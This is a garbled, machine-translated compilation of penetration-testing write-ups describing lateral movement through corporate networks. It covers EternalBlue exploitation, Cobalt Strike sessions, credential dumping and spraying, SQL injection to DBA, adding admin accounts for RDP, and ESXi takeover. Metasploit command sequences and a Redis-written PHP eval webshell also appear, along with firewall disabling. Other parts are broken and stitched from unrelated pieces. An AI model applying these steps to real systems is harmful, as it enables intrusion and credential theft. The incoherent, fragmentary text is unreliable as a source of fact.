.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
序文
攻撃的で防御的なドリル中に、チームは最初にウェブシェルを取得し、次にコバルトストライクへの許可をバウンドして、イントラネットの浸透を促進します。
現在のマシンがパブリックネットワークサーバーであることを発見することにより、パブリックネットワークIP：xxx.xxx.xxx.16のみが
ARPキャッシュを表示することにより、現在いくつかのパブリックネットワークマシンがあることがわかりました。
これらのIPSを照会することにより、それは「ネットワーク」であることがわかり、NBTSCANを介して、現在のCセグメントには生存するホストがあることがわかります：（現在のCセグメントマシンにはドメインがあると判断されますが、確かではありません）
内部イントラネットマシンの現在の最初の層のCセグメントを水平に移動
攻撃的で防御的なドリルであるため、ポイントが多いほど良いです。ここでは他の問題を考慮していません。現在のマシンを取得した後、私は平文パスワードをキャッチしました：
ただし、このパスワードを使用してMSFを使用してパスワードを介してCセグメントをスプレーすると、ホストが正常に水平になっていないことがわかりました。
この瞬間、私は再びスキャンしてMS17010があるかどうかを確認しました：（一般的に言えば、この種の「Xiang.com」には基本的にいくつかの永遠の青があるので、スキャンするだけです）
3つのユニット92、151、および200がMS17010に存在することがわかりました。その後、このユニットを92と呼びます。
その後、MSFとCSがリンクされ、MSFシェルを再度CSにポップし、許可を維持しました。
現時点では、これら2つのスプリングボードマシンを使用するだけで十分です。他の2つのMS17010と戦う必要はありません。次に、現在のCセグメントに関する情報を収集し、Webアセットをスキャンして生き残り、多数のWebアセットを見つけました。
手動分析により、SQL注入が見つかりました、そしてそれはDBAの許可でした：
その後、管理者ユーザーが追加されてから3389をオンにしました（Nortonのため、定期的な無料キルのために時間がないので、主にポイントを獲得したので、サーバーに直接ログインしました）
そして、私は靴下を通して直接接続することはできません。これは制限のように感じられます。後で、MSTSC /管理者を使用することでログインすることができることがわかりました。
この時点で、私は92このマシンをスプリングボードとして使用して、71デスクトップにリモートでログインしました。
管理者のデスクトップがクローン化されました。
この時点で、以前に追加されたアカウントにログインして、リモートデスクトップに移動します。管理者のデスクトップです：
一連の情報収集とパスワードコレクションを通じて、MSSQLおよびすべてのサイドステーションの許可を取得しました。
収集されたパスワードを介して、セグメントCのパスワードを正常にスプレーし続けます。 MSSQL：xxx.xxx.xxx.239
次に、コマンドを実行するためにXP_CMDSHELLに直接電話して、許可がまだ非常に大きいことがわかりました。
次に、bitsadminを使用してオンラインでCSに行きます。
この時点で、これら3つのマシンの許可：16、92、および239は取得されましたが、イントラネットはまだ発見されておらず、この時点でボトルネックに巻き込まれました。
この点に到達した後、私は水平に移動することは不可能であることがわかりました。他のウェブをヒットするために0日を使用したくありません。私は振り向いてMS17010を使用して200人をヒットしました：
その後、同様に、シェルがCSにポップされ、ユーザーが追加され、リモートデスクトップグループが追加されました。
その後、ログインはログインが失敗したことを発見しました。
この時点で、MSTSC/管理者はバイパスし、ターゲットリモートデスクトップに正常にログインできます。
管理者のデスクトップは同じようにクローン化されました。
MSTSCログインレコードなど、多くの貴重なものを見つけました。
NAVICATデータベース資格情報を取得します。
とXshellには多くのSSHがあることがわかりました。
すべてのLinuxホストをログインできます。この時点で、SharpDecryptPWDを使用してパスワードを取得するだけですが、問題が見つかりました。
このことを使用してパスワードを後で確認する：（これらのものを使用したくなかったので、パスワードを1つずつチェックするのは面倒すぎます）
10個のイントラネットを備えたマシンがいくつかあることがわかりました。
既存のパスワードを使用して、LinuxホストをセグメントCで水平にスプレーします。
その後、いくつかのシェルをMSFにポップしました。
これまでのところ、このパブリックネットワークのCセグメントは基本的に浸透しており、多数のコアデータベース、スイッチ、およびWebサーバーが削除されています。次のステップは、10個のイントラネットのイントラネット浸透です。
イントラネットイントラネット10セグメントの2番目の層からのイントラネット浸透
ルートパスワードを取得したため、10.10.10.1/16のBセクションを直接スキャンしました。資産の大きな波があります。ここではスクリーンショットを撮りません。それらは何百もあり、私はesxiがあることを発見しました：
アクセス制御システムを取得しました：
は、特別な手段で水平に10個のセグメントの2つのSSHを倒し、イントラネットの3番目の層は192のセグメントとDocker環境であることがわかりました。
10セグメントにESXIがあるため、脆弱性を直接使用してESXIクラウドプラットフォームを取得し、すべてのマシンが非難されました。
この時点で、10番目のセクションは基本的に侵入されており、次のステップは192のイントラネットに浸透することです。
イントラネットセグメントの3番目の層からのイントラネット浸透192
通常のFSCANを介して192段落をスキャンしただけで、192の資産も非常に脂肪であることがわかりました。
その後、MS17010の2つの脆弱性が見つかりました。
今、私たちは関係を整理しました、そして、現在の環境は次のとおりです。
元のリンク：https://MP.Weixin.QQ.com/s?__biz=mzkxndewmda4mw==mid=2247491421Idx=1Sn=769D715D057112EB4EE1EBB8312E37KKSM241F6051F6055 83F946625F2689EC6214E9D47A61C6639999D2CD2A62C0DE464CENE=123KEY=F3D 6282F44B990E0F2527AF4DB8E088F25F3E43D0ABAF5F845FF52E14965E4FE188C890
。
＃windows.hを含めます
にコンパイルします
＃windows.hを含む
＃winsock2.hを含む
010-10すべてのユーザーのすべてのパケットは、正常に使用するためにロードする必要があります。連絡先情報は、すべてのユーザーパケット情報に基づいています。最初のステップが実行されない場合、ポップアップリマインダーがあります。
取得するツール：公式アカウント返信キーワード「Outlook」
です
に変更されます
に注意してください
を追加します
元のテキスト接続：https://Blog.bbskali.cn/3771.html
WebエンドのIPを取得した後、Webエンドに浸透することができます。
は、読み取りなどのネットワークカード情報を取得することもできます。
の高度なオプションで「インスタンスメタデータアクセスモード」を「右のモード」に設定できます。
step 6：その後、攻撃が中断されました（以前に-cパラメーターを指定しなかったため、元のMacアドレスが復元されます）
の存続ホストをスキャンしている生存ホスト:192.168.127.91ポートをスキャンして、生き残ったターゲットマシンのIPアドレスをスキャンします
ターゲットシステムがWin7であり、445ポートが開いていることを発見しました。 Eternal Blue（MS17-010）を使用してターゲットシステム
MeterPreterShellc: \ Windows \ System32IpConfig 
私はいくつかの文字化けコードを見つけたので、C: \ Windows \ System32CHCP 65001＃65001＃65001＃65001＃65001＃65001＃65001 c: \ windows \ system32ipconfig＃iは2つのネットワークセグメントを見つけました。1つは192.168.127ネットワークセグメント、もう1つは10.0.20ネットワークセグメント
C: \ Windows \ System32Whomai 
C: \ windows \ system32tasklist/svc＃view＃view system in system 
c3: \ windows \ system32exit #exit shellコマンド末端
meterleterloadoload loadoload loadoload loadoload load load load loadoload MeterPreterCreds_All＃すべての現在のユーザーのログイン資格情報をゲットし、ユーザー名がWin7であり、パスワードは管理者
Tongdaの検索11.3既存のファイルには検索エンジンを介した脆弱性が含まれています：https://blog.csdn.net/hackzkaq/article/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/11590000 
Ant Sword 
を使用して正常に接続すると、Ant Swordのコマンドターミナルの下で現在のユーザーをシステム許可に表示する許可は、
ADDダイナミックルートメータープレーターはAutoroute -S 10.0.20.0/24またはMeterPreter BackgroundMeterPreter Sessionsmsf6 Exploit（Windows/SMB/MS17_010_ETERNALBLUE）を使用します。 1MSF6 Exploit（Windows/SMB/MS17_010_ETERNALBLUE）RUN 
METERPRETERバックグラウンド
生き残ったホストMSF6エクスポロイトを発見（Windows/SMB/MS17_010_ETERNALBLUE） Exploit（Windows/SMB/MS17_010_ETERNALBLUE）セッションセッション1MSF6 Exploit（Windows/SMB/MS17_010_ETERNALBLUE）SET RHOSTS 10.0.20.1-254MSF6 Exploit（Windows/SMB/MS17_010_ETERNALBLUE）RUN 
Survive host.20.9 SOCKS5 Proxy MSF6 Exploit（Windows/SMB/MS17_010_ETERNALBLUE）使用補助/サーバー/SOCKS_PROXYMSF6 AUXILIARY（SERVER/SOCKS_PROXY）
ポートスカンシングを修正する必要があります。構成ファイル
は、10.0.20.99のホストがポート6379および80に開かれていることを発見しました。ここには、ローカルソックス5プロキシサービスプロキシアソフトウェア
がDirsearchをスキャンし、ターゲットがPHPINFO.PHPセンシティページを持っていることを発見しました。 200,302 - Format CSV -O C: \ Users \ backlion \ Desktop \ dirsearch-master \ xxx.com.csvまたは攻撃機の下でプロキシチェインを実行するか、kali python dirsearch.py -u http://10.0.0.20.99 -i -Proxy=Socks5: //127.0.0.1:1080 -T 5 
PHPINFO.PHPページにアクセスして、ウェブサイトの絶対パスが公開されていることを確認してください：C:/PHPSTUDY/PHPTUORIAL/WWW/333333333810.0.0.PHPT.0.PHPT.0.0.PHPTURE 
010-10 Redis-Cli Command Proxychains Redis-Cli -H 10.0.20.99を介したパスワードなしのリモート接続'c:/phpstudy/phptutorial/www/' #switchシェル10.0.20.20.99:606379セットx '\ n \ n \ n？php @eval（$ _ post [' x ']）; 10.0.20.99:6379 Config set dbfileName shell.php＃ファイル名をshell.php10.0.0.20.993:6379 Save 
ここに、地元のホストのAnt Swordを介したプロキシです。
View現在のユーザーの許可はシステム
を実行して、リスナーを構成します
Firewall netsh firewalsetopmodemode=disable 010-69556 run shell.exe in the Antable同じネットワークセグメントホストMeterPreter ARP 
スキャン10.0.10.110ネットワークセグメント移行プロセスRun Post/Windows/Manage/Migrate
に送信されます
があります
を持っています
を表示できます
を開きます
に従ってデータパケットを構築するだけです
の計算方法の改ざんを防ぐために、ヘッダーで指定された署名アルゴリズム（デフォルトはhmac sha256）を使用します。
アクセスパスは/API/Integration/Workflowflow/GetInterfacereGisterCustomoperationです
（2）キーがある場合、シロの最新バージョンでさえ依然として脆弱性があり、多くの場合、開発、展開、その他の問題によりシロのキーが漏れます。
（4）SpringのHeapdumpファイルは、JVM仮想マシンメモリからエクスポートされます。
（2）jvisualvm.exe：Java独自のツール、デフォルトパスはJDKディレクトリ/bin/jvisualvm.exeです。
この状況を見ると、後者のコードは次のように見える可能性があると推測できます。リクエストパッケージでホストを変更すると、XSSが発生する可能性があります。
ラグを拾うためのヒントが完了しました。
